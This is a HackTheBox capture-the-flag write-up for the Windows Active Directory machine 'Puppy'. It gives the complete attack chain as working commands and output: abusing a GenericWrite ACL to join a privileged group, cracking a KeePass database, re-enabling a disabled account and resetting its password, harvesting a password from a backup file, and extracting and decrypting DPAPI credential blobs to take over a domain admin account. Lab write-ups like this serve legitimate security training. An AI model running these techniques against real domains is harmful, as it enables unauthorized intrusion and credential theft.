esc

Puppy

๐Ÿ“… Last Updated: Jun 10, 2025 10:00 | ๐Ÿ“„ Size: 11.6 KB | ๐ŸŽฏ Type: HackTheBox Writeup | ๐ŸŽš๏ธ Difficulty: Medium | ๐Ÿ”— Back to Categories

Synopsis

Puppy is a medium-difficulty Windows machine featuring an Active Directory environment where initial credentials are provided. The attack path involves exploiting ACL misconfigurations to add ourselves to privileged groups. Starting with the user levi.james who is a member of the HR group, we abuse GenericWrite permissions on the Developers group. This grants access to a DEV share containing a KeePass database, which when cracked, reveals multiple user credentials. After enabling a disabled account with Remote Management privileges, we discover a site backup containing additional credentials. The privilege escalation involves using DPAPI to decrypt stored credentials, ultimately revealing the password for a domain admin account steph.cooper_adm.

Skills Required

  • Active Directory enumeration
  • Understanding of ACLs and group permissions
  • Password cracking techniques
  • SMB enumeration
  • DPAPI exploitation
  • BloodHound usage

Skills Learned

  • Exploiting GenericWrite permissions
  • LDAP modification techniques
  • KeePass database cracking
  • Account manipulation via LDAP
  • DPAPI master key extraction and decryption
  • Backup file analysis

Enumeration

Nmap Scan

We begin with a comprehensive nmap scan of the target:

# Nmap 7.95 scan initiated Tue Jun 10 12:04:59 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oA nmap 10.129.243.152

Key findings:

  • Domain Name: PUPPY.HTB
  • DC Hostname: DC
  • Key Services: DNS (53), Kerberos (88), LDAP (389/636), SMB (445), WinRM (5985), NFS (2049), iSCSI (3260)

We add the domain to our hosts file:

echo "10.129.243.152 puppy.htb" | sudo tee -a /etc/hosts

BloodHound Analysis

Using the provided credentials levi.james / KingofAkron2025!, we run BloodHound to map the domain:

bloodhound-python -u levi.james -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.243.152 -c all

BloodHound showing Info

The BloodHound analysis shows:

  • levi.james is a member of HR@puppy.htb
  • HR group has GenericWrite permission on DEVELOPERS group

Foothold

Exploiting GenericWrite Permission

Since the HR group has GenericWrite on DEVELOPERS, we can add ourselves to this group.

First, we get the distinguished name of the DEVELOPERS group:

ldapsearch -x -H ldap://10.129.243.152 -D "levi.james@PUPPY.HTB" \
    -w 'KingofAkron2025!' -b "DC=PUPPY,DC=HTB" "(cn=DEVELOPERS)" dn

Create an LDIF file to add ourselves to DEVELOPERS:

cat > add_to_dev.ldif << 'EOF'
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB 
changetype: modify 
add: member 
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB 
EOF

Apply the change:

ldapmodify -x -H ldap://10.129.243.152 -D "levi.james@PUPPY.HTB" \
    -w 'KingofAkron2025!' -f add_to_dev.ldif

Accessing DEV Share

Now we enumerate SMB shares with our new privileges:

smbmap -u 'levi.james' -p 'KingofAkron2025!' -d 'PUPPY' -H 10.129.243.152

We now have read access to the DEV share. Let's explore it:

smbclient //10.129.243.152/DEV -U 'levi.james%KingofAkron2025!'

smb: \> ls
  .                                   D        0  Sat Mar  8 16:45:19 2025
  ..                                DHS        0  Fri Feb 21 17:39:42 2025
  KeePassXC-2.7.9-Win64.msi           A 35811328  Sat Mar  8 16:45:18 2025
  Projects                            D        0  Sat Mar  8 16:42:55 2025
  recovery.kdbx                       A     2677  Sat Mar  8 14:55:48 2025

                5070079 blocks of size 4096. 1830638 blocks available

Download the KeePass database:

smb: \> get recovery.kdbx

Cracking the KeePass Database

Standard keepass2john doesn't support version 4.0, so we use an alternative tool:

# Clone the tool
git clone https://github.com/r3nt0n/keepass4brute

# Crack the database
~/Tools/keepass4brute/./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt

keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
<snip>
[*] Password found: liverpool

Password found: liverpool

Opening the database reveals several credentials:

  • Adam Silver - HJKL2025!
  • Antony C. Edwards - Antman2025!
  • Jamie Williamson - JamieLove2025!
  • Samuel Blake - ILY2025!
  • Steve Tucker - Steve2025!

Lateral Movement

User Enumeration

We enumerate domain users to match the credentials:

ldapsearch -x -H ldap://10.129.243.152 -D 'PUPPY\levi.james' \
    -w 'KingofAkron2025!' -b 'DC=PUPPY,DC=HTB' '(objectClass=user)' sAMAccountName | grep sAMAccountName

# requesting: sAMAccountName 
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: DC$
sAMAccountName: krbtgt
sAMAccountName: levi.james
sAMAccountName: ant.edwards
sAMAccountName: adam.silver
sAMAccountName: jamie.williams
sAMAccountName: steph.cooper
sAMAccountName: steph.cooper_adm

Matching credentials:

  • ant.edwards : Antman2025!
  • adam.silver : HJKL2025!
  • jamie.williams : JamieLove2025!

Account Analysis

Checking adam.silver's group memberships reveals:

ldapsearch -x -H ldap://10.129.243.152 -D 'PUPPY\ant.edwards' \
    -w 'Antman2025!' -b 'DC=PUPPY,DC=HTB' '(sAMAccountName=adam.silver)' memberOf

adam.silver is a member of:

  • DEVELOPERS
  • Remote Management Users (allows WinRM access!)

However, the account is disabled (userAccountControl: 66050).

Enabling adam.silver Account

We can use ant.edwards to enable adam.silver's account:

# Create LDIF to enable account
cat > enable_adam.ldif << EOF
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
EOF

# Apply the change
ldapmodify -x -H ldap://10.129.243.152 -D 'PUPPY\ant.edwards' \
    -w 'Antman2025!' -f enable_adam.ldif

modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"

Reset adam.silver's password:

net rpc user password adam.silver 'NewPassword123!' \
    -U 'ant.edwards%Antman2025!' -S 10.129.243.152

Getting User Flag

Connect via Evil-WinRM:

evil-winrm -i 10.129.243.152 -u 'adam.silver' -p 'NewPassword123!'
*Evil-WinRM* PS C:\Users\adam.silver\Documents> type C:\Users\adam.silver\Desktop\user.txt
[USER_FLAG]

Privilege Escalation

Discovering the Backup

Enumerating the C:\ drive reveals an interesting directory:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> ls C:\ -Force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
<snip>
d-----          5/9/2025  10:48 AM                Backups
<snip>

Notable finding: C:\Backups directory

*Evil-WinRM* PS C:\Users\adam.silver\Documents> ls C:\Backups

    Directory: C:\Backups

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

Download the backup:

cd C:\Backups
download site-backup-2024-12-30.zip

Analyzing the Backup

Searching for credentials in the backup:

# Extract the backup
unzip site-backup-2024-12-30.zip

# Search for steph.cooper references
grep -ri "steph.cooper" puppy/
puppy/nms-auth-config.xml.bak:        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>

# Check the file for password
grep -iC 5 "password" puppy/nms-auth-config.xml.bak

Found in nms-auth-config.xml.bak:

<server>
    <host>DC.PUPPY.HTB</host>
    <port>389</port>
    <base-dn>dc=PUPPY,dc=HTB</base-dn>
    <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
    <bind-password>ChefSteph2025!</bind-password>
</server>

New credentials: steph.cooper / ChefSteph2025!

DPAPI Exploitation

Connect as steph.cooper to begin privilege escalation enumeration:

evil-winrm -i 10.129.243.152 -u 'steph.cooper' -p 'ChefSteph2025!'

Initial Discovery - The Account Pattern

During standard user enumeration, we notice something interesting:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-LocalUser | Where {$_.Name -like "*$env:USERNAME*"}

Name              Enabled Description
----              ------- -----------
steph.cooper      True
steph.cooper_adm  True

Two accounts exist - steph.cooper (our current user) and steph.cooper_adm (likely an administrative account).

Following the Credential Storage Trail

Check for stored credentials through cmdkey:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> cmdkey /list

Currently stored credentials:

    * NONE *

Check for stored credentials through AppData:

# Check for hidden credential storage locations
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> ls $env:LOCALAPPDATA\Microsoft\Credentials -Force

    Directory: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   8:14 AM          11068 DFBE70A7E5CC19A398EBF1B96859CE5D

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> ls $env:APPDATA\Microsoft\Credentials -Force

    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Found DPAPI (Data Protection API) blobs - Windows' method for securely storing sensitive data like credentials.

Since we have the DPAPI blobs and the user account, we can look for the master key and try to gain access that way.

Extracting DPAPI Master Key

Find the master key:

Get-ChildItem "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\" -Recurse -Force -File | Select-Object FullName

Master key location:

C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407

Extract files for offline analysis:

# Copy credential files
Copy-Item "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" "C:\Users\steph.cooper\cred1.bin"
Copy-Item "C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" "C:\Users\steph.cooper\cred2.bin"

# Convert to Base64 for easy transfer
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\cred1.bin"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\cred2.bin"))

# Extract master key
$masterKeyPath = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"
$masterKeyB64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($masterKeyPath))
Write-Host $masterKeyB64

Decrypting with DPAPI

Use dpapi.py to decrypt the master key:

# Decode base64 and save as binary
echo "[BASE64_MASTER_KEY]" | base64 -d > masterkey.bin

# Decrypt master key
dpapi.py masterkey -file masterkey.bin -password 'ChefSteph2025!' \
    -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107'

After decrypting the credential files, we obtain:

  • Username: steph.cooper_adm
  • Password: FivethChipOnItsWay2025!

Getting Root Flag

Connect as the admin account:

evil-winrm -i 10.129.243.152 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[ROOT_FLAG]